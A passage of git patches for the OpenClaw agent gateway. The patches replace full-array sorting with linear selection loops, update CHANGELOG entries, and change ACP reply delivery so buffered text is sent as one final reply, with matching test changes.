runtimeTool.execute(toolCallId, executeParams, signal, onUpdate); + return undefined; + }; + const matchingNamedCandidates = candidates.filter( + (candidate) => + candidate.names.length > 0 && + candidate.names.some((name) => normalizeToolName(name) === requestedToolName), + ); + const unnamedCandidates = candidates.filter((candidate) => candidate.names.length === 0); + for (const candidate of [...matchingNamedCandidates, ...unnamedCandidates]) { + let matchedTool: AnyAgentTool | undefined; + try { + matchedTool = resolveCandidateTool(candidate); + } catch { + continue; + } + if (matchedTool) { + return matchedTool.execute(toolCallId, executeParams, signal, onUpdate); } } throw new Error(`plugin tool runtime missing (${pluginId}): ${toolName}`); From 43345b43b76bb04ea21811d7f0903e8848d8dea3 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:13:57 +0100 Subject: [PATCH 080/174] test: clarify discord async status assertion --- extensions/discord/src/channel.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/extensions/discord/src/channel.test.ts b/extensions/discord/src/channel.test.ts index 4f06904e645..b2c0d927193 100644 --- a/extensions/discord/src/channel.test.ts +++ b/extensions/discord/src/channel.test.ts @@ -501,7 +501,7 @@ describe("discordPlugin outbound", () => { includeApplication: true, }), ); - expect(statusPatches.some((patch) => "bot" in patch || "application" in patch)).toBe(false); + expect(statusPatches.filter((patch) => "bot" in patch || "application" in patch)).toEqual([]); resolveProbe({ ok: true, From b9791e347cc09333f9dd4291a51bc64d6e8378cd Mon Sep 17 00:00:00 2001 From: Shakker Date: Fri, 8 May 2026 02:39:35 +0100 Subject: [PATCH 081/174] perf: avoid sorting runtime selections --- CHANGELOG.md | 1 + src/auto-reply/reply/agent-runner-execution.ts | 11 +++++++---- src/auto-reply/thinking.ts | 14 ++++++++++---- src/gateway/node-catalog.ts | 7 ++++++- src/plugin-sdk/provider-selection-runtime.ts | 15 +++++++++++++-- 5 files changed, 37 insertions(+), 11 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index b2684c3b0c6..e25105860a8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,6 +12,7 @@ Docs: https://docs.openclaw.ai - Agents/failover: harden state-aware lane suspension by persisting quota resume transitions, restoring configured lane concurrency, preserving non-quota failure reasons, and exporting model failover events through diagnostics OTLP. Thanks @BunsDev. - Channels/streaming: make progress draft labels scroll away with other progress lines, render structured tool rows as compact emoji/title/details, show web-search queries from provider-native argument shapes, and skip empty Discord apply-patch starts until a patch summary exists. (#79146) - Workspace/oc-path: add the `oc://` addressing substrate (`src/oc-path/`) — a universal, kind-dispatched path scheme for addressing leaves and nodes inside markdown, jsonc, jsonl, and yaml workspace files, with `parseOcPath`/`formatOcPath`, per-kind `parseXxx`/`emitXxx`, universal `resolveOcPath`/`setOcPath`/`findOcPaths` verbs, the `__OPENCLAW_REDACTED__` sentinel emit guard, and the new `openclaw path resolve|find|set|validate|emit` CLI for shell-level inspection and surgical edits. Implements #78051. (#78678) Thanks @giodl73-repo. +- Runtime/performance: avoid full-array sorting while auto-selecting providers, resolving supported thinking levels, picking node last-seen timestamps, and extracting Codex usage-limit messages. Thanks @shakkernerd. - Telegram: preserve the channel-specific 10-option poll cap in the unified outbound adapter so over-limit polls are rejected before send. (#78762) Thanks @obviyus. - Slack: route handled top-level channel turns in implicit-conversation channels to thread-scoped sessions when Slack reply threading is enabled, keeping the root turn and later thread replies on one OpenClaw session. (#78522) Thanks @zeroth-blip. - Telegram: re-probe the primary fetch transport after repeated sticky fallback success so transient IPv4 or pinned-IP fallback promotion can recover without a gateway restart. Fixes #77088. (#77157) Thanks @MkDev11. diff --git a/src/auto-reply/reply/agent-runner-execution.ts b/src/auto-reply/reply/agent-runner-execution.ts index 400cec1ffde..328dc85c3ee 100644 --- a/src/auto-reply/reply/agent-runner-execution.ts +++ b/src/auto-reply/reply/agent-runner-execution.ts @@ -339,10 +339,13 @@ function extractCodexUsageLimitMessage(text: string): string | undefined { "You've reached your Codex subscription usage limit.", "Codex usage limit reached.", ]; - const markerIndex = markers - .map((marker) => text.indexOf(marker)) - .filter((index) => index >= 0) - .toSorted((left, right) => left - right)[0]; + let markerIndex: number | undefined; + for (const marker of markers) { + const index = text.indexOf(marker); + if (index >= 0 && (markerIndex === undefined || index < markerIndex)) { + markerIndex = index; + } + } if (markerIndex === undefined) { return undefined; } diff --git a/src/auto-reply/thinking.ts b/src/auto-reply/thinking.ts index 6bf736131b2..9226d5a6cd9 100644 --- a/src/auto-reply/thinking.ts +++ b/src/auto-reply/thinking.ts @@ -284,10 +284,16 @@ export function resolveLargestSupportedThinkingLevel( model?: string | null, ): ThinkLevel { const profile = resolveThinkingProfile({ provider, model }); - return ( - profile.levels.filter((level) => level.id !== "off").toSorted((a, b) => b.rank - a.rank)[0] - ?.id ?? "off" - ); + let bestLevel: ResolvedThinkingProfile["levels"][number] | undefined; + for (const level of profile.levels) { + if (level.id === "off") { + continue; + } + if (!bestLevel || level.rank > bestLevel.rank) { + bestLevel = level; + } + } + return bestLevel?.id ?? "off"; } export function isThinkingLevelSupported(params: { diff --git a/src/gateway/node-catalog.ts b/src/gateway/node-catalog.ts index 4f0d2fcfa78..442d7562a05 100644 --- a/src/gateway/node-catalog.ts +++ b/src/gateway/node-catalog.ts @@ -118,7 +118,12 @@ function resolveEffectiveLastSeen(params: { ? { atMs: params.devicePairing.lastSeenAtMs, reason: params.devicePairing.lastSeenReason } : undefined, ].filter((entry) => entry !== undefined); - const newest = candidates.toSorted((left, right) => right.atMs - left.atMs)[0]; + let newest: { atMs: number; reason?: string } | undefined; + for (const candidate of candidates) { + if (!newest || candidate.atMs > newest.atMs) { + newest = candidate; + } + } if (!newest) { return {}; } diff --git a/src/plugin-sdk/provider-selection-runtime.ts b/src/plugin-sdk/provider-selection-runtime.ts index be04af0f3a8..090071e32fd 100644 --- a/src/plugin-sdk/provider-selection-runtime.ts +++ b/src/plugin-sdk/provider-selection-runtime.ts @@ -46,8 +46,7 @@ export function selectConfiguredOrAutoProvider( + providers: Iterable, +): TProvider | undefined { + let selected: TProvider | undefined; + for (const provider of providers) { + if (!selected || compareProviderAutoSelectOrder(provider, selected) < 0) { + selected = provider; + } + } + return selected; +} + function readProviderConfig( providerConfigs: Record | undefined> | undefined, providerId: string | undefined, From 75fca35d381c3551f5544fb273a1bdf79c2b3e0a Mon Sep 17 00:00:00 2001 From: Shakker Date: Fri, 8 May 2026 02:39:43 +0100 Subject: [PATCH 082/174] perf: bound plugin and doctor selections --- CHANGELOG.md | 1 + src/cli/plugins-search-command.ts | 20 +++++++++++++++++++- src/gateway/server-methods/doctor.ts | 20 +++++++++++++++++++- src/plugins/clawhub.ts | 7 ++++++- 4 files changed, 45 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index e25105860a8..bc74fc7e9b8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -13,6 +13,7 @@ Docs: https://docs.openclaw.ai - Channels/streaming: make progress draft labels scroll away with other progress lines, render structured tool rows as compact emoji/title/details, show web-search queries from provider-native argument shapes, and skip empty Discord apply-patch starts until a patch summary exists. (#79146) - Workspace/oc-path: add the `oc://` addressing substrate (`src/oc-path/`) — a universal, kind-dispatched path scheme for addressing leaves and nodes inside markdown, jsonc, jsonl, and yaml workspace files, with `parseOcPath`/`formatOcPath`, per-kind `parseXxx`/`emitXxx`, universal `resolveOcPath`/`setOcPath`/`findOcPaths` verbs, the `__OPENCLAW_REDACTED__` sentinel emit guard, and the new `openclaw path resolve|find|set|validate|emit` CLI for shell-level inspection and surgical edits. Implements #78051. (#78678) Thanks @giodl73-repo. - Runtime/performance: avoid full-array sorting while auto-selecting providers, resolving supported thinking levels, picking node last-seen timestamps, and extracting Codex usage-limit messages. Thanks @shakkernerd. +- Plugins/doctor: avoid full-array sorting while selecting ClawHub search/archive results and bounded dreaming doctor entries. Thanks @shakkernerd. - Telegram: preserve the channel-specific 10-option poll cap in the unified outbound adapter so over-limit polls are rejected before send. (#78762) Thanks @obviyus. - Slack: route handled top-level channel turns in implicit-conversation channels to thread-scoped sessions when Slack reply threading is enabled, keeping the root turn and later thread replies on one OpenClaw session. (#78522) Thanks @zeroth-blip. - Telegram: re-probe the primary fetch transport after repeated sticky fallback success so transient IPv4 or pinned-IP fallback promotion can recover without a gateway restart. Fixes #77088. (#77157) Thanks @MkDev11. diff --git a/src/cli/plugins-search-command.ts b/src/cli/plugins-search-command.ts index 2d71f11ed99..ab2277e0b14 100644 --- a/src/cli/plugins-search-command.ts +++ b/src/cli/plugins-search-command.ts @@ -33,7 +33,25 @@ function mergePackageSearchResults( byName.set(entry.package.name, entry); } } - return [...byName.values()].toSorted((a, b) => b.score - a.score).slice(0, limit); + const selected: ClawHubPackageSearchResult[] = []; + for (const entry of byName.values()) { + let insertAt = selected.length; + for (let index = 0; index < selected.length; index += 1) { + if (entry.score > selected[index].score) { + insertAt = index; + break; + } + } + if (insertAt < limit) { + selected.splice(insertAt, 0, entry); + if (selected.length > limit) { + selected.pop(); + } + } else if (selected.length < limit) { + selected.push(entry); + } + } + return selected; } function formatPackageSearchLine(entry: ClawHubPackageSearchResult): string { diff --git a/src/gateway/server-methods/doctor.ts b/src/gateway/server-methods/doctor.ts index 4b4dec10b05..ab66aa4fc08 100644 --- a/src/gateway/server-methods/doctor.ts +++ b/src/gateway/server-methods/doctor.ts @@ -459,7 +459,25 @@ function trimDreamingEntries( entries: DoctorMemoryDreamingEntryPayload[], compare: (a: DoctorMemoryDreamingEntryPayload, b: DoctorMemoryDreamingEntryPayload) => number, ): DoctorMemoryDreamingEntryPayload[] { - return entries.toSorted(compare).slice(0, DREAMING_ENTRY_LIST_LIMIT); + const selected: DoctorMemoryDreamingEntryPayload[] = []; + for (const entry of entries) { + let insertAt = selected.length; + for (let index = 0; index < selected.length; index += 1) { + if (compare(entry, selected[index]) < 0) { + insertAt = index; + break; + } + } + if (insertAt < DREAMING_ENTRY_LIST_LIMIT) { + selected.splice(insertAt, 0, entry); + if (selected.length > DREAMING_ENTRY_LIST_LIMIT) { + selected.pop(); + } + } else if (selected.length < DREAMING_ENTRY_LIST_LIMIT) { + selected.push(entry); + } + } + return selected; } async function loadDreamingStoreStats( diff --git a/src/plugins/clawhub.ts b/src/plugins/clawhub.ts index 98839a41161..705feb7e4b1 100644 --- a/src/plugins/clawhub.ts +++ b/src/plugins/clawhub.ts @@ -811,7 +811,12 @@ async function verifyClawHubArchiveFiles(params: { } actualFiles.delete(file.path); } - const unexpectedFile = [...actualFiles.keys()].toSorted()[0]; + let unexpectedFile: string | undefined; + for (const file of actualFiles.keys()) { + if (unexpectedFile === undefined || file < unexpectedFile) { + unexpectedFile = file; + } + } if (unexpectedFile) { return buildClawHubInstallFailure( `ClawHub archive contents do not match files[] metadata for "${params.packageName}@${params.packageVersion}": unexpected file "${unexpectedFile}".`, From 7d4011862ab381fcdb2ad9f13d83e7a22be1fa2c Mon Sep 17 00:00:00 2001 From: Shakker Date: Fri, 8 May 2026 02:39:50 +0100 Subject: [PATCH 083/174] perf: bound compaction contributor selection --- CHANGELOG.md | 1 + src/agents/pi-embedded-runner/compact.ts | 26 +++++++++++++++++++++++- 2 files changed, 26 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index bc74fc7e9b8..2f3319ff152 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,6 +14,7 @@ Docs: https://docs.openclaw.ai - Workspace/oc-path: add the `oc://` addressing substrate (`src/oc-path/`) — a universal, kind-dispatched path scheme for addressing leaves and nodes inside markdown, jsonc, jsonl, and yaml workspace files, with `parseOcPath`/`formatOcPath`, per-kind `parseXxx`/`emitXxx`, universal `resolveOcPath`/`setOcPath`/`findOcPaths` verbs, the `__OPENCLAW_REDACTED__` sentinel emit guard, and the new `openclaw path resolve|find|set|validate|emit` CLI for shell-level inspection and surgical edits. Implements #78051. (#78678) Thanks @giodl73-repo. - Runtime/performance: avoid full-array sorting while auto-selecting providers, resolving supported thinking levels, picking node last-seen timestamps, and extracting Codex usage-limit messages. Thanks @shakkernerd. - Plugins/doctor: avoid full-array sorting while selecting ClawHub search/archive results and bounded dreaming doctor entries. Thanks @shakkernerd. +- Agents/compaction: keep contributor diagnostics to a bounded top-three selection without sorting the full history. Thanks @shakkernerd. - Telegram: preserve the channel-specific 10-option poll cap in the unified outbound adapter so over-limit polls are rejected before send. (#78762) Thanks @obviyus. - Slack: route handled top-level channel turns in implicit-conversation channels to thread-scoped sessions when Slack reply threading is enabled, keeping the root turn and later thread replies on one OpenClaw session. (#78522) Thanks @zeroth-blip. - Telegram: re-probe the primary fetch transport after repeated sticky fallback success so transient IPv4 or pinned-IP fallback promotion can recover without a gateway restart. Fixes #77088. (#77157) Thanks @MkDev11. diff --git a/src/agents/pi-embedded-runner/compact.ts b/src/agents/pi-embedded-runner/compact.ts index 1ebc6e00af6..79810272482 100644 --- a/src/agents/pi-embedded-runner/compact.ts +++ b/src/agents/pi-embedded-runner/compact.ts @@ -323,10 +323,34 @@ function summarizeCompactionMessages(messages: AgentMessage[]): CompactionMessag historyTextChars, toolResultChars, estTokens: tokenEstimationFailed ? undefined : estTokens, - contributors: contributors.toSorted((a, b) => b.chars - a.chars).slice(0, 3), + contributors: selectTopContributors(contributors), }; } +function selectTopContributors( + contributors: CompactionMessageMetrics["contributors"], +): CompactionMessageMetrics["contributors"] { + const selected: CompactionMessageMetrics["contributors"] = []; + for (const contributor of contributors) { + let insertAt = selected.length; + for (let index = 0; index < selected.length; index += 1) { + if (contributor.chars > selected[index].chars) { + insertAt = index; + break; + } + } + if (insertAt < 3) { + selected.splice(insertAt, 0, contributor); + if (selected.length > 3) { + selected.pop(); + } + } else if (selected.length < 3) { + selected.push(contributor); + } + } + return selected; +} + function containsRealConversationMessages(messages: AgentMessage[]): boolean { return messages.some((message, index, allMessages) => hasRealConversationContent(message, allMessages, index), From d2cd9badd991d1224bb86ff42c8e97fd588f65c5 Mon Sep 17 00:00:00 2001 From: Shakker Date: Fri, 8 May 2026 02:40:01 +0100 Subject: [PATCH 084/174] perf: avoid sorting session lookup paths --- CHANGELOG.md | 1 + extensions/acpx/src/runtime.ts | 8 +++++++- extensions/google-meet/src/calendar.ts | 17 +++++++++++++---- ui/src/ui/chat/session-controls.ts | 12 +++++++++--- 4 files changed, 30 insertions(+), 8 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2f3319ff152..20b19bbea04 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -15,6 +15,7 @@ Docs: https://docs.openclaw.ai - Runtime/performance: avoid full-array sorting while auto-selecting providers, resolving supported thinking levels, picking node last-seen timestamps, and extracting Codex usage-limit messages. Thanks @shakkernerd. - Plugins/doctor: avoid full-array sorting while selecting ClawHub search/archive results and bounded dreaming doctor entries. Thanks @shakkernerd. - Agents/compaction: keep contributor diagnostics to a bounded top-three selection without sorting the full history. Thanks @shakkernerd. +- Sessions/UI: avoid full-array sorting while selecting ACPX leases, Google Meet calendar events, and latest chat sessions. Thanks @shakkernerd. - Telegram: preserve the channel-specific 10-option poll cap in the unified outbound adapter so over-limit polls are rejected before send. (#78762) Thanks @obviyus. - Slack: route handled top-level channel turns in implicit-conversation channels to thread-scoped sessions when Slack reply threading is enabled, keeping the root turn and later thread replies on one OpenClaw session. (#78522) Thanks @zeroth-blip. - Telegram: re-probe the primary fetch transport after repeated sticky fallback success so transient IPv4 or pinned-IP fallback promotion can recover without a gateway restart. Fixes #77088. (#77157) Thanks @MkDev11. diff --git a/extensions/acpx/src/runtime.ts b/extensions/acpx/src/runtime.ts index 0b8e37e23c9..369f331d031 100644 --- a/extensions/acpx/src/runtime.ts +++ b/extensions/acpx/src/runtime.ts @@ -133,7 +133,13 @@ function selectCurrentSessionLease(params: { if (params.rootPid) { return candidates.find((lease) => lease.rootPid === params.rootPid); } - return candidates.toSorted((a, b) => b.startedAt - a.startedAt)[0]; + let selected: AcpxProcessLease | undefined; + for (const lease of candidates) { + if (!selected || lease.startedAt > selected.startedAt) { + selected = lease; + } + } + return selected; } function createResetAwareSessionStore( diff --git a/extensions/google-meet/src/calendar.ts b/extensions/google-meet/src/calendar.ts index 0078b8eb0d9..ba5963be63f 100644 --- a/extensions/google-meet/src/calendar.ts +++ b/extensions/google-meet/src/calendar.ts @@ -138,10 +138,19 @@ function chooseBestMeetCalendarEvent( now: Date, ): GoogleMeetCalendarLookupResult["event"] | undefined { const nowMs = now.getTime(); - return events - .filter((event) => event.status !== "cancelled") - .filter((event) => extractGoogleMeetUriFromCalendarEvent(event)) - .toSorted((left, right) => rankCalendarEvent(left, nowMs) - rankCalendarEvent(right, nowMs))[0]; + let selected: GoogleMeetCalendarEvent | undefined; + let selectedRank = Number.POSITIVE_INFINITY; + for (const event of events) { + if (event.status === "cancelled" || !extractGoogleMeetUriFromCalendarEvent(event)) { + continue; + } + const rank = rankCalendarEvent(event, nowMs); + if (!selected || rank < selectedRank) { + selected = event; + selectedRank = rank; + } + } + return selected; } async function fetchGoogleCalendarEvents(params: { diff --git a/ui/src/ui/chat/session-controls.ts b/ui/src/ui/chat/session-controls.ts index 27604693882..1234cd0ab9b 100644 --- a/ui/src/ui/chat/session-controls.ts +++ b/ui/src/ui/chat/session-controls.ts @@ -593,9 +593,15 @@ function resolvePreferredSessionForAgent(state: AppViewState, agentId: string): return state.sessionKey; } const rows = state.sessionsResult?.sessions ?? []; - const row = rows - .filter((entry) => isSessionKeyTiedToAgent(entry.key, normalizedAgentId, defaultAgentId)) - .toSorted((a, b) => (b.updatedAt ?? 0) - (a.updatedAt ?? 0))[0]; + let row: (typeof rows)[number] | undefined; + for (const entry of rows) { + if (!isSessionKeyTiedToAgent(entry.key, normalizedAgentId, defaultAgentId)) { + continue; + } + if (!row || (entry.updatedAt ?? 0) > (row.updatedAt ?? 0)) { + row = entry; + } + } return row?.key ?? buildAgentMainSessionKey({ agentId: normalizedAgentId }); } From 511f42d8a3a2dd146eac3dafa6b3bf882e2ec51b Mon Sep 17 00:00:00 2001 From: Shakker Date: Fri, 8 May 2026 06:22:51 +0100 Subject: [PATCH 085/174] fix: keep acp telegram replies durable --- src/auto-reply/reply/acp-projector.test.ts | 9 +- src/auto-reply/reply/acp-projector.ts | 15 +++- src/auto-reply/reply/dispatch-acp-delivery.ts | 11 +++ src/auto-reply/reply/dispatch-acp.test.ts | 83 +++++++++++-------- src/auto-reply/reply/dispatch-acp.ts | 2 +- 5 files changed, 76 insertions(+), 44 deletions(-) diff --git a/src/auto-reply/reply/acp-projector.test.ts b/src/auto-reply/reply/acp-projector.test.ts index e413b07888f..7402e07d1cc 100644 --- a/src/auto-reply/reply/acp-projector.test.ts +++ b/src/auto-reply/reply/acp-projector.test.ts @@ -201,7 +201,7 @@ describe("createAcpReplyProjector", () => { expect(onProgress).toHaveBeenCalledTimes(2); }); - it("coalesces text deltas into bounded block chunks", async () => { + it("buffers default final-only text into one final reply", async () => { const { deliveries, projector } = createProjectorHarness(); await projector.onEvent({ @@ -211,10 +211,7 @@ describe("createAcpReplyProjector", () => { }); await projector.flush(true); - expect(deliveries).toEqual([ - { kind: "block", text: "a".repeat(64) }, - { kind: "block", text: "a".repeat(6) }, - ]); + expect(deliveries).toEqual([{ kind: "final", text: "a".repeat(70) }]); }); it("does not suppress identical short text across terminal turn boundaries", async () => { @@ -363,7 +360,7 @@ describe("createAcpReplyProjector", () => { text: prefixSystemMessage("available commands updated (7)"), }); expectToolCallSummary(deliveries[1]); - expect(deliveries[2]).toEqual({ kind: "block", text: "What now?" }); + expect(deliveries[2]).toEqual({ kind: "final", text: "What now?" }); }); it("flushes buffered status/tool output on error in deliveryMode=final_only", async () => { diff --git a/src/auto-reply/reply/acp-projector.ts b/src/auto-reply/reply/acp-projector.ts index 0ab3887476d..3b919a2b3d4 100644 --- a/src/auto-reply/reply/acp-projector.ts +++ b/src/auto-reply/reply/acp-projector.ts @@ -204,6 +204,7 @@ export function createAcpReplyProjector(params: { let lastVisibleOutputTail: string | undefined; let pendingHiddenBoundary = false; let liveBufferText = ""; + let finalOnlyOutputText = ""; let liveIdleTimer: NodeJS.Timeout | undefined; const pendingToolDeliveries: BufferedToolDelivery[] = []; const toolLifecycleById = new Map(); @@ -272,6 +273,7 @@ export function createAcpReplyProjector(params: { lastVisibleOutputTail = undefined; pendingHiddenBoundary = false; liveBufferText = ""; + finalOnlyOutputText = ""; pendingToolDeliveries.length = 0; toolLifecycleById.clear(); }; @@ -291,7 +293,15 @@ export function createAcpReplyProjector(params: { flushLiveBuffer({ force: true }); } await flushBufferedToolDeliveries(force); - drainChunker(force); + if (settings.deliveryMode === "final_only") { + if (force && finalOnlyOutputText.trim().length > 0) { + const text = finalOnlyOutputText; + finalOnlyOutputText = ""; + await params.deliver("final", { text }); + } + } else { + drainChunker(force); + } await blockReplyPipeline.flush({ force }); }; @@ -445,8 +455,7 @@ export function createAcpReplyProjector(params: { scheduleLiveIdleFlush(); } } else { - chunker.append(accepted); - drainChunker(false); + finalOnlyOutputText += accepted; } } if (accepted.length < text.length) { diff --git a/src/auto-reply/reply/dispatch-acp-delivery.ts b/src/auto-reply/reply/dispatch-acp-delivery.ts index fac3af6bd20..276b1dfb06e 100644 --- a/src/auto-reply/reply/dispatch-acp-delivery.ts +++ b/src/auto-reply/reply/dispatch-acp-delivery.ts @@ -140,6 +140,7 @@ type AcpDispatchDeliveryState = { accumulatedBlockText: string; accumulatedVisibleBlockText: string; accumulatedBlockTtsText: string; + accumulatedFinalText: string; cleanBlockTtsDirectiveText?: ReturnType; blockCount: number; deliveredFinalReply: boolean; @@ -162,6 +163,7 @@ export type AcpDispatchDeliveryCoordinator = { getAccumulatedBlockText: () => string; getAccumulatedVisibleBlockText: () => string; getAccumulatedBlockTtsText: () => string; + getAccumulatedFinalText: () => string; settleVisibleText: () => Promise; hasDeliveredFinalReply: () => boolean; hasDeliveredVisibleText: () => boolean; @@ -202,6 +204,7 @@ export function createAcpDispatchDeliveryCoordinator(params: { accumulatedBlockText: "", accumulatedVisibleBlockText: "", accumulatedBlockTtsText: "", + accumulatedFinalText: "", cleanBlockTtsDirectiveText: shouldCleanTtsDirectiveText({ cfg: params.cfg, ttsAuto: params.sessionTtsAuto, @@ -330,6 +333,13 @@ export function createAcpDispatchDeliveryCoordinator(params: { state.accumulatedVisibleBlockText += visiblePayload.text; } } + const rawFinalText = kind === "final" ? normalizeOptionalString(payload.text) : undefined; + if (rawFinalText) { + if (state.accumulatedFinalText.length > 0) { + state.accumulatedFinalText += "\n"; + } + state.accumulatedFinalText += rawFinalText; + } if (hasOutboundReplyContent(visiblePayload, { trimText: true })) { await startReplyLifecycleOnce(); @@ -445,6 +455,7 @@ export function createAcpDispatchDeliveryCoordinator(params: { getAccumulatedBlockText: () => state.accumulatedBlockText, getAccumulatedVisibleBlockText: () => state.accumulatedVisibleBlockText, getAccumulatedBlockTtsText: () => state.accumulatedBlockTtsText, + getAccumulatedFinalText: () => state.accumulatedFinalText, settleVisibleText: settleDirectVisibleText, hasDeliveredFinalReply: () => state.deliveredFinalReply, hasDeliveredVisibleText: () => state.deliveredVisibleText, diff --git a/src/auto-reply/reply/dispatch-acp.test.ts b/src/auto-reply/reply/dispatch-acp.test.ts index 708d6a894f5..ac66ae2b8f9 100644 --- a/src/auto-reply/reply/dispatch-acp.test.ts +++ b/src/auto-reply/reply/dispatch-acp.test.ts @@ -377,7 +377,11 @@ describe("tryDispatchAcpReply", () => { channelPluginMocks.getChannelPlugin.mockClear(); messageActionMocks.runMessageAction.mockReset(); messageActionMocks.runMessageAction.mockResolvedValue({ ok: true as const }); - ttsMocks.maybeApplyTtsToPayload.mockClear(); + ttsMocks.maybeApplyTtsToPayload.mockReset(); + ttsMocks.maybeApplyTtsToPayload.mockImplementation(async (paramsUnknown: unknown) => { + const params = paramsUnknown as { payload: unknown }; + return params.payload; + }); ttsMocks.resolveTtsConfig.mockReset(); ttsMocks.resolveTtsConfig.mockReturnValue({ mode: "final" }); mediaUnderstandingMocks.applyMediaUnderstanding.mockReset(); @@ -393,7 +397,7 @@ describe("tryDispatchAcpReply", () => { globalThis.fetch = originalFetch; }); - it("routes ACP block output to originating channel", async () => { + it("routes default ACP output to the originating channel as a final reply", async () => { setReadyAcpResolution(); mockRoutedTextTurn("hello"); @@ -404,14 +408,17 @@ describe("tryDispatchAcpReply", () => { shouldRouteToOriginating: true, }); - expect(result?.counts.block).toBe(1); + expect(result?.counts.block).toBe(0); + expect(result?.counts.final).toBe(1); expect(routeMocks.routeReply).toHaveBeenCalledWith( expect.objectContaining({ channel: "telegram", to: "telegram:thread-1", + payload: expect.objectContaining({ text: "hello" }), }), ); expect(dispatcher.sendBlockReply).not.toHaveBeenCalled(); + expect(dispatcher.sendFinalReply).not.toHaveBeenCalled(); }); it("persists ACP transcript when routed delivery fails", async () => { @@ -1187,18 +1194,18 @@ describe("tryDispatchAcpReply", () => { ); }); - it("does not deliver final fallback text when routed block text was already visible", async () => { + it("does not add a fallback when routed ACP text was already delivered as final", async () => { setReadyAcpResolution(); ttsMocks.resolveTtsConfig.mockReturnValue({ mode: "final" }); queueTtsReplies({ text: "CODEX_OK" }, {} as ReturnType); const { result } = await runRoutedAcpTextTurn("CODEX_OK"); - expect(result?.counts.block).toBe(1); - expect(result?.counts.final).toBe(0); + expect(result?.counts.block).toBe(0); + expect(result?.counts.final).toBe(1); expect(routeMocks.routeReply).toHaveBeenCalledTimes(1); }); - it("does not deliver final fallback text when routed discord block text was already visible", async () => { + it("routes default ACP text as one final reply to Discord", async () => { setReadyAcpResolution(); ttsMocks.resolveTtsConfig.mockReturnValue({ mode: "final" }); queueTtsReplies( @@ -1216,8 +1223,8 @@ describe("tryDispatchAcpReply", () => { originatingTo: "channel:1478836151241412759", }); - expect(result?.counts.block).toBe(1); - expect(result?.counts.final).toBe(0); + expect(result?.counts.block).toBe(0); + expect(result?.counts.final).toBe(1); expect(routeMocks.routeReply).toHaveBeenCalledTimes(1); expect(routeMocks.routeReply).toHaveBeenCalledWith( expect.objectContaining({ @@ -1228,7 +1235,7 @@ describe("tryDispatchAcpReply", () => { ); }); - it("does not deliver final fallback text when routed Slack block text was already visible", async () => { + it("routes default ACP text as one final reply to Slack", async () => { setReadyAcpResolution(); ttsMocks.resolveTtsConfig.mockReturnValue({ mode: "final" }); queueTtsReplies( @@ -1246,8 +1253,8 @@ describe("tryDispatchAcpReply", () => { originatingTo: "channel:C123", }); - expect(result?.counts.block).toBe(1); - expect(result?.counts.final).toBe(0); + expect(result?.counts.block).toBe(0); + expect(result?.counts.final).toBe(1); expect(routeMocks.routeReply).toHaveBeenCalledTimes(1); expect(routeMocks.routeReply).toHaveBeenCalledWith( expect.objectContaining({ @@ -1258,7 +1265,7 @@ describe("tryDispatchAcpReply", () => { ); }); - it("does not deliver final fallback text when direct block text was already visible", async () => { + it("delivers default Telegram ACP text directly as a final reply", async () => { setReadyAcpResolution(); ttsMocks.resolveTtsConfig.mockReturnValue({ mode: "final" }); queueTtsReplies({ text: "CODEX_OK" }, {} as ReturnType); @@ -1278,13 +1285,14 @@ describe("tryDispatchAcpReply", () => { expect(result?.counts.final).toBe(0); expect(counts.block).toBe(0); expect(counts.final).toBe(0); - expect(dispatcher.sendBlockReply).toHaveBeenCalledWith( + expect(result?.queuedFinal).toBe(true); + expect(dispatcher.sendBlockReply).not.toHaveBeenCalled(); + expect(dispatcher.sendFinalReply).toHaveBeenCalledWith( expect.objectContaining({ text: "CODEX_OK" }), ); - expect(dispatcher.sendFinalReply).not.toHaveBeenCalled(); }); - it("does not deliver final fallback text when direct discord block text was already visible", async () => { + it("delivers default Discord ACP text directly as a final reply", async () => { setReadyAcpResolution(); ttsMocks.resolveTtsConfig.mockReturnValue({ mode: "final" }); queueTtsReplies( @@ -1307,13 +1315,14 @@ describe("tryDispatchAcpReply", () => { expect(result?.counts.final).toBe(0); expect(counts.block).toBe(0); expect(counts.final).toBe(0); - expect(dispatcher.sendBlockReply).toHaveBeenCalledWith( + expect(result?.queuedFinal).toBe(true); + expect(dispatcher.sendBlockReply).not.toHaveBeenCalled(); + expect(dispatcher.sendFinalReply).toHaveBeenCalledWith( expect.objectContaining({ text: "Received." }), ); - expect(dispatcher.sendFinalReply).not.toHaveBeenCalled(); }); - it("does not deliver final fallback text when direct Slack block text was already visible", async () => { + it("delivers default Slack ACP text directly as a final reply", async () => { setReadyAcpResolution(); ttsMocks.resolveTtsConfig.mockReturnValue({ mode: "final" }); queueTtsReplies( @@ -1336,13 +1345,14 @@ describe("tryDispatchAcpReply", () => { expect(result?.counts.final).toBe(0); expect(counts.block).toBe(0); expect(counts.final).toBe(0); - expect(dispatcher.sendBlockReply).toHaveBeenCalledWith( + expect(result?.queuedFinal).toBe(true); + expect(dispatcher.sendBlockReply).not.toHaveBeenCalled(); + expect(dispatcher.sendFinalReply).toHaveBeenCalledWith( expect.objectContaining({ text: "Slack says hi." }), ); - expect(dispatcher.sendFinalReply).not.toHaveBeenCalled(); }); - it("treats visible telegram ACP block delivery as a successful final response", async () => { + it("treats Telegram ACP final delivery as a successful final response", async () => { setReadyAcpResolution(); ttsMocks.resolveTtsConfig.mockReturnValue({ mode: "final" }); queueTtsReplies({ text: "CODEX_OK" }, {} as ReturnType); @@ -1359,13 +1369,13 @@ describe("tryDispatchAcpReply", () => { }); expect(result?.queuedFinal).toBe(true); - expect(dispatcher.sendBlockReply).toHaveBeenCalledWith( + expect(dispatcher.sendBlockReply).not.toHaveBeenCalled(); + expect(dispatcher.sendFinalReply).toHaveBeenCalledWith( expect.objectContaining({ text: "CODEX_OK" }), ); - expect(dispatcher.sendFinalReply).not.toHaveBeenCalled(); }); - it("preserves final fallback when direct block 